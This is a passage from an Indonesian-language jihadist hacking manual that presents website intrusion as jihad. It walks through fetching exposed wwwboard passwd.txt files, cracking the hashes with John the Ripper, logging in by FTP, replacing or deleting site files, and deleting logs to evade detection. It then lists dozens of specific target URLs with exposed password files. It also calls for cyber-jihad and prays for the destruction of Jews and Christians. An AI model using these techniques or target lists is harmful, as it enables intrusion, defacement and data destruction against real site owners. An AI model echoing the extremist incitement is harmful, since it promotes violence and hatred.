Baik, sekarang saya sedang bekerja menggunakan pilihan terakhir di atas, program pun berjalan hingga setengah jam, tapi ternyata tidak terjadi apa-apa. Padahal, saya tidak mungkin membiarkan komputer saya hanya mengerjakan satu program saja, lalu apa yang harus saya lakukan?

*Gampang,* sekarang tekanlah **ctrl + shift + c** atau **ctrl + c**

Lalu, bagaimana supaya saya bisa menyempurnakan pekerjaan ini? Tulis saja – selanjutnya—**john-restrore**, maka program itu akan menyempurnakan sendiri pekerjaannya…

Nah, sekarang untuk percobaan, kita mau menyerang suatu situs, misalnya. Maka, pertama-tama kita coba situs-situs biasa dulu. Jangan langsung situs-situs intelejent salibis seperti Yahoo, salah satunya. Ini mengingat bahwa menyerang situs-situs biasa itu mudah *banget*…dengan pertolongan Alloh. Jadi, jangan menyerah *akhi* dari berjihad dengan cara yang sekarang Alloh hadapkan di depan *Antum*. Jangan banyak bicara *sudah*…mari kita mulai bekerja!

Program yang wajib ada dalah **john the ripper** dan **WS_FTP pro**. Kedua-duanya sudah ada di dalam link yang telah kami sebutkan sebelumnya, berkat anugerah Alloh SWT semata.

Bismillah… kita mulai:

Sekarang, kami beri *Antum* situs yang ada *bugs*nya, kita akan coba menembusnya. Situs itu adalah: **http://www.dsg-art.com/** (situs ini sekedar sample saja, dan nampaknya *bugs* pada situs ini sekarang sudah hilang)

Situs ini terkena *bugs* pada passwordnya, yaitu: **wwwboard/passwd.txt**

Sekarang, kita tembus *bugs*nya, tulis:

**http://www.dsg-art.com/wwwboard/passwd.txt**

Tujuannya apa? Agar *username* dan passwordnya terlihat. Dan benar, akan muncul seperti ini:

**jc:GXQ4cN0fhbptw**

jc adalah *username* nya, sedangkan yang berikutnya (GXQ4cN0fhbptw) adalah passwordnya. Seperti yang terlihat, password ini masih samar, lantas bagaimana cara memecahkannya sehingga kita bisa mendapatkan password aslinya?

Tentu saja dengan program Jhon The Ripper yang sudah kami sebutkan dan jelaskan di atas.

Setelah ketemu, maka sekarang kita telah memperoleh *username* dan sekaligus password asli dari situs ini. Kalau sudah begini, sudah… aksi *hacking* berjalan dengan sempurna, semoga Alloh memberkahi *Antum* semua.

Sekarang kita mau menulis: LA ILAHA ILLALLOH MUHAMMAD ROSULULLOH, SITUS INI TELAH DI-HACK OLEH PASUKAN JIHAD MEDIA, 'IZZAH ITU HANYA MILIK ALLOH, ROSUL DAN ORANG-ORANG BERIMAN, misalnya. Bagaimana caranya?

Tentu saja dengan program WS_FTP pro.

Ok…sekarang kita letakkan *username* dan passwordnya di dalam program ini. Setelah itu, kita telah berhasil memasuki "remote" (pusat pengendali) dari situs ini; kalau *Antum pengin* meluluh-lantakkan situs, tinggal delete saja semua file, selesai dengan tetap memohon pertolongan kepada Alloh.

Dari sekian file, ada file yang namanya **index.htm**. Seperti telah kami jelaskan, ini adalah nama file dari tampilan utama sebuah situs. Dan tentu saja sudah kita siapkan sebelumnya file lain yang berisi tampilan bertuliskan: LA ILAHA ILLALLOH MUHAMMAD ROSULULLOH, SITUS INI TELAH DI-HACK OLEH PASUKAN JIHAD MEDIA, 'IZZAH ITU HANYA MILIK ALLOH, ROSUL DAN ORANG-ORANG BERIMAN. Sekarang, *tinggal* kita delete saja file **index.htm** situs itu, lalu kita masukkan file yang sudah kita siapkan sebelumnya ini (ingat, nama file baru kita ini harus sama: **index.htm**, penerj.), setelah kita pastikan letak keberadaan file tersebut dalam komputer.

Sekarang, bergembiralah *Antum*, dan beri kabar gembira orang lain, dengan bantuan Alloh situs ini berhasil kita *hack* dan meninggalkan pesan buat pengelolanya: bahwa situs ini sudah di-hack.

Dan sebagaimana telah kami jelaskan, agar pemilik situs tidak mendeteksi pelaku serangan ini, kita delete semua file yang berakhiran **log**, yang *alhamdulillah* sudah kita jelaskan di atas.

Sekarang, setelah membaca penjelasan-penjelasan di atas, siapa saja bisa menyerang situs-situs biasa dan situs-situs yang sistem proteksinya lemah, dengan daya dan kekuatan Alloh.

Terakhir, berikut daftar situs-situs yang bisa diserang serta jenis *bugs*nya. Tapi ingat, sekarang tidak semua *bugs* dari situs-situs ini masih aktif dan ada, ketika *Antum* membaca daftar ini. Semoga anugerah Alloh selalu abadi pada diri *Antum*…

**SITUS-SITUS YANG ADA *BUGS*-NYA:**

**http://www.efn.org/~dalep/wwwboard/passwd.txt**
**http://www.lionnet.org.tr/118u/wwwboard/passwd.txt**
**http://members.mint.net/raske/wwwboard/passwd.txt**
**http://www.avatar-moving.com/kb/wwwboard/passwd.txt**
**http://espa.virtualave.net/wwwboard/passwd.txt**
**http://mulerider.saumag.edu/wwwboar...oard-passwd.txt**
**http://www.kcftoa.org/hazmat/wwwboard/passwd.txt**
**http://www.go-steeltown.com/classif...oard/passwd.txt**
**http://www.creative-design.de/kmt/wwwboard/passwd.txt**
**http://www.kaapeli.fi/~hekata/wwwboard/passwd.txt**
**http://www.go-steeltown.com/invitat...oard/passwd.txt**
**http://www.ica1.uni-stuttgart.de/~k...oard/passwd.txt**
**http://sitemanager.hypermart.net/wwwboard/passwd.txt**
**http://cgi.snafu.de/utimper/user-cg...oard/passwd.txt**
**http://www.fo sden.org/psf/FFE/wwwboard/passwd.txt**
**http://expert.cc.purdue.edu/~pumsan/wwwboard/passwd.txt**
**http://www.cab nessence.com/brian/s...oard/passwd.txt**
**http://wrm.hre.ntou.edu.tw/wrm/wwwboard/passwd.txt**
**http://www.radiocollege.org/rc/wwwboard/passwd.txt**
**http://www.student.utwente.nl/~here...oard/passwd.txt**
**http://www.as.ua.edu/arcca/wwwboard/passwd.txt**
**http://students.cs.byu.edu/~quixote/wwwboard/passwd.txt**
**http://lrf1.unizar.es/~martin/panze...oard/passwd.txt**
**http://www.netset.com/~jdennis/wwwboard/passwd.txt**
**http://www.rit.edu/~jrd4663/cgi-bin/wwwboard/passwd.txt**
**http://www.i-55.com/andersoninc/wwwboard/passwd.txt**
**http://www.volker.de/deutsch/kontak...oard/passwd.txt**
**http://www.ug.cs.sunysb.edu/~boehme...oard/passwd.txt**
**http://www.cjns.com/cyb/cyberair/wwwboard/passwd.txt**
**http://www.cabling-design.com/inter...oard/passwd.txt**
**http://www.educanet.net/privado/con...oard/passwd.txt**
**http://www.zetor.org/scifi/public_h...oard/passwd.txt**
**http://www.nwlink.com/~nickguy/wwwboard/passwd.txt**
**http://www.dj-pool.de/PoolDeutsch/p...oard/passwd.txt**
**http://gladstone.uoregon.edu/~solsh...oard/passwd.txt**
**http://ftp.duth.gr/pub/netlib/utk/wwwboard/passwd.txt**
**http://www.freelance-street.co.uk/wwwboard/passwd.txt**
**http://gaia.ecs.csus.edu/~brookd/wwwboard/passwd.txt**
**http://gaia.ecs.csus.edu/~brookd/wwwboard/passwd.txt**

http://www.arts.cuhk.edu.hk/~cmc/in...oard/passwd.txt
http://www.clearlight.com/~brawicz/wwwboard/passwd.txt
http://www.yellowstone-natl-park.co...oard/passwd.txt
http://www.mtsu.edu/~ccurry/sets/ex..oard/passwd.txt
http://www.kaibutsu-thx.com/cx/htm/wwwboard/passwd.txt
http://www.kidlink.org/KIDPROJ/Brid...oard/passwd.txt
http://www.markoschulz.de/scripte/f...oard/passwd.txt
http://crux.baker.edu/myeake01/wwwboard/passwd.txt
http://207.65.96.29/users/akira/wwwboard/passwd.txt
http://hkbne.virtualave.net/wwwboard/password.txt
http://gybe.com/boggy/swallowtails/wwwboard/passwd.txt
http://gazissax.best.vwh.net/alsira...oard/passwd.txt
http://www.deltakappagamma.org/Inte...oard/passwd.txt
http://pepup.hypermart.net/wwwboard/passwd.txt
http://www.utexas.edu/depts/asih/wwwboard/passwd.txt
http://hemi.ps.tsoa.nyu.edu/webchat/passwd.txt
http://www.stenum.at/euinfo/passwd.txt
http://www.mexconnect.com/liveboard/passwd.txt
http://www.doc.ic.ac.uk/~ pa98/jondon/passwd.txt
http://www.pnpi.spb.ru/nrd/ucn/cgi-...dmin/passwd.txt
http://gazissax.best.vwh.net/alsira...oard/passwd.txt
http://www.public. astate.edu/~benco/oclub/passwd.txt
http://students.washington.edu/msa/waami/passwd.txt
http://member.mfea.com/Members/bbs/admin/passwd.txt
http://ais.gmd.de/~sylla/Archive/passwd.txt
http://www.lvadb.nl/regionalisering...9874/passwd.txt
http://www.jump.net/~alancook/discu...9311/passwd.txt
http://www.notam.com/forum/passwd.txt
http://www.sandiego.edu/~deroche/group4p/passwd.txt
http://www.sandiego.edu/~deroche/case7/passwd.txt
http://www.louisville.com/talk/passwd.txt
http://www.swe.org/SWE/Convention/den01/passwd.txt
http://www.colorado.edu/geography/g...sion/passwd.txt
http://www.uidaho.edu/webboard/src/passwd.txt
http://dykesworld.de/Boards/sistah/passwd.txt
http://www.public. astate.edu/~n2ddg/IE565/passwd.txt
http://www.pnpi.spb.ru/nrd/ucn/cgi-...dmin/passwd.txt
http://www.pnpi.spb.ru/nrd/ucn/cgi-...s_admin/log.txt
http://www.pnpi.spb.ru/nrd/ucn/cgi-...in/adminlog.txt
http://www.doc.ic.ac.uk/~ pa98/jondon/passwd.txt
http://www.defenders.by.ru/texts/uni/uni-passwd.txt
http://www.public. astate.edu/~benco/oclub/passwd.txt
http://www.unionmen.com/forum/passwd.txt
http://facyt.uc.edu.ve/foros/passwd.txt
http://www.ku.edu/~philos/courses/wwwboard3/passwd.txt
http://ponce.inter.edu/forums/passwd.txt
http://students.washington.edu/msa/...ulum/passwd.txt
http://www.uidaho.edu/webboard/src/passwd.txt
http://www.louisville.com/talk/passwd.txt
http://www.motosalvagedirectory.com/forums/passwd.txt
http://gazissax.best.vwh.net/alsira...oard/passwd.txt

http://www.mexconnect.com/liveboard/passwd.txt
http://www.inece.org/ozone/passwd.txt
http://www.usd.edu/phys/courses/ast...bord/passwd.txt
http://cds.unina.it/~tuccillo/passwd.txt
http://ponce.inter.edu/forums/prueba/passwd.txt
http://paradigm-dc.hypermart.net/passwd.txt
http://clonetheory.virtualave.net/passwd.txt
http://www.uni-ulm.de/LiLL/foren/forum1/passwd.txt
http://www.fh-potsdam.de/~potsmods/...ster/passwd.txt
http://www.endicott.edu/staff/kuhn/...9812/passwd.txt
http://www.artintheschool.org/forum/passwd.txt
http://www.utexas.edu/depts/grg/vir...sion/passwd.txt
http://www.mag7.net/floor/passwd.txt
http://www.urban-forestry.com/forum/passwd.txt
http://pages.globetrotter.net/lhibb...oard/passwd.txt
http://wealth-connection.com/bbs/passwd.txt
http://xipe.insp.mx/wwwboard/passwd.txt
http://facyt.uc.edu.ve/foros/passwd.txt
http://c25c250.best.vwh.net/restr cted/passwd.txt
http://www.sandiego.edu/~deroche/case2/passwd.txt
http://www.sandiego.edu/~deroche/group6p/passwd.txt
http://home.gwi.net/~actonfd/bboard/passwd.txt
http://pages.stern.nyu.edu/~rgarud/helpchat/passwd.txt
http://acpon1.ponce.inter.edu/forums/prueba/passwd.txt
http://www.gugten.com/_pub/ARPA/forum/passwd.txt
http://library.thinkquest.org/~1013...dmin/passwd.txt

**BUGS-BUGS FRONT PAGE:**

www.ebc.uu.se/evolmuseum/_vti_pvt/
http://www.ebc.uu.se/klubban/_vti_pvt/
http://police.hypermart.net/_vti_pvt/
http://www.seanachie.com/_vti_pvt/
http://www.ahpcc.unm.edu/~aroberts/main/_vti_pvt/
http://www.ahpcc.unm.edu/~aroberts/main/main/_vti_pvt/
http://www.tpeditor.com/_vti_pvt/
http://www.sussex.ac.uk/tcmr/pgp/pgp2/_vti_pvt/
http://www.sussex.ac.uk/Units/IRPol/MAnews/_vti_pvt/
http://members.aol.com/r1953young/_vti_pvt/
http://www.lic.wisc.edu/shapingdane/_vti_pvt/
http://www.gvc.gu.se/ngeo/ng-hem/china/_vti_pvt/
http://www.robertsmyth.leics.sch.uk/_vti_pvt/
http://www.www.nr/My%20Webs/_vti_pvt/
http://siteventos.org.gt/tal_1/_vti_pvt/
http://siteventos.org.gt/redes/_vti_pvt/
http://virtation.com/_vti_pvt/
http://www.ch.ic.ac.uk/bbc/BCG/bcg2001/myweb/_vti_pvt/
http://www.imolbio.oeaw.ac.at/xenopus/_vti_pvt/
http://www.humgym-meran.it/_vti_pvt/
http://www.ceeinet.umd.edu/faculty/ahaghani/_vti_pvt/
http://www.chu-stlouis.fr/hematoonco/_vti_pvt/
http://www.ch.ic.ac.uk/local/projec...thorn/_vti_pvt/

**http://www.ce.cmu.edu/~mcnamara/_vti_pvt/**
**http://www.fht-stuttgart.de/fbv/fbvweb/ipo/_vti_pvt/**
**http://www.cem.ufpr.br/ecoturismo/_vti_pvt/**
**http://www.net1.net/~akiecke/_vti_pvt/**
**http://www.bridgewater.edu/departme...tisms/_vti_pvt/**
**http://www.lu.lv/jauna/strukt/jgs/_vti_pvt/**
**http://www.jmtrep.hpg.com.br/_vti_pvt/**
**http://alpha.tamu.edu/public/jae/_vti_pvt/**
**http://homepages.newnet.co.uk/netwo...k2000/_vti_pvt/**
**http://www.ff.up.pt/sirigaitas/_vti_pvt/**
**http://www.cyclecoachingscotland.fr...co.uk/_vti_pvt/**
**http://members.aol.com/tamaranth/_vti_pvt/**
**http://www.bridgewater.edu/departme...owman/_vti_pvt/**
**http://www.css.orst.edu/barley/_vti_pvt/**
**http://www.nilc.org.ge/geohealth/_vti_pvt/**
**http://www.memorial.fund.ukf.net/_vti_pvt/**
**http://www.ipe.csic.es/cursos.escos/_vti_pvt/**
**http://dnr.state.il.us/legislation/isah/_vti_pvt/**
**http://www.rrk-berlin.de/rrkweb/chirurgie/_vti_pvt/**
**http://www.jtr.gov.my/fik/_vti_pvt/**
**http://ww1.baywell.ne.jp/fpweb/drlatham/_vti_pvt/**
**http://www.wms-access.com/Photo%20Gallery/_VTI_PVT/**
**http://www.lfp.cz/primaire/_vti_pvt/**
**http://www.zs3zab.cz/_vti_pvt/service.pwd**
**http://pages.citenet.net/users/ctmx...pvt/service.pwd**
**http://ftp.scu.edu.tw/_vti_pvt/service.pwd**
**http://orion.ifsi.rm.cnr.it/meeting...pvt/service.pwd**
**http://www.momentus.com.br/users/le...pvt/service.pwd**
**http://www2.alpinecom.net/_vti_pvt/service.pwd**
**http://www.necc.cc.ms.us/~jpowell/_vti_pvt/service.pwd**
**http://conca.users.netlink.co.uk/_vti_pvt/service.pwd**

Syahdan…

Hanya milik Alloh lah segala pujian, baik di awal maupun di akhir, yang telah memberi kemudahan kepada kita untuk menyempurnakan karya berharga ini. Sebagaimana kami memohon kepada Alloh ketulusan dalam kata-kata dan perbuatan, kami juga memohon kepada-Nya ampunan dan pemaafan, taubat dan *maghfiroh*, kami berharap amal ini diterima dan derajat kami ditinggikan, dengan keutamaan-Nya, kelembutan-Nya, dan kemurahan-Nya.

Dengan terbitnya karya ini, berarti kami telah menegakkan *hujjah* atas mereka yang berpangku tangan saja (baca: *Qô'idûn*), mereka yang menyelisihi jalan jihad dan yang mengutarakan berbagai alasan bahwa dirinya tidak mampu pergi ke medan pertempuran dan laga-laga peperangan. Sekarang, ini ada celah dan ada medan perang yang lain, maka berperanglah di jalan Alloh dalam medan tersebut. Kalian tetap akan mendapat pahala dan ganjaran, jika kalian hati dan niat kalian baik. Alloh menitahkan kebenaran dan Dia menunjukkan jalan yang benar.

Kita memohon kepada Alloh kemenangan yang mulia, kemenangan yang nyata, dan jalan keluar dari kesulitan yang dekat, bagi umat Islam secara umum dan bagi para mujahidin yang bertempur di garis depan secara khusus. Ya Alloh, hancurkanlah musuh-musuh

umat, dari kalangan yahudi dan salibis, serta orang-orang yang mendukung mereka, membantu dan setia kepada mereka, dari kalangan orang-orang munafik dan murtad, semuanya. Allohumma Amiin…

Sebagai penutup, semoga Alloh terus menjaga *akhi* kita, yang mulia, yang mahal harganya dan yang senantiasa kami cintai: **irhabi 007**, dan selalu menjadikannya sebagai orang yang membuat kaum beriman berbahagia dan menyenangkan hati ahli tauhid di mana saja mereka berada, serta menyusahkan orang-orang kafir dan menghinakan orang-orang murtad dan munafik.

Ingat, jangan mengabaikan perintah-perintah Alloh di dalam kitab-Nya yang mulia, dan perintah-perintah Rosul-Nya SAW, untuk senantiasa berjihad fi sabilillah di berbagai daerah perbatasan dan mengintai musuh di setiap tempat pengintaian yang membuat Alloh dan Rosul-Nya ridho.

**Hentikan bicara, mari mulai bekerja…**

**Jarak seribu mil dimulai dengan satu langkah, awal mula hujan lebat adalah titikan gerimis…**

Doa terakhir kami adalah, *alhamdulillâhi robbil 'Alamîn*, segala puji hanya milik Alloh Robb seru sekalian alam.

Semoga Alloh senantiasa melimpahkan sholawat, salam, serta berkah kepada pemimpin sekaligus Nabi kita, Muhammad, kepada keluarga dan para sahabatnya, serta orang-orang mengikuti mereka dengan kebaikan hingga hari kemudian.

Dari semua *ikhwah* yang mulia

Saudara kalian yang fakir, yang paling yunior dan bodoh di antara mereka:

**As-Saif Al-Atsari**

Semoga Alloh senantiasa menjaganya, menjaga saudara-saudaranya dan menjaga kaum muslimin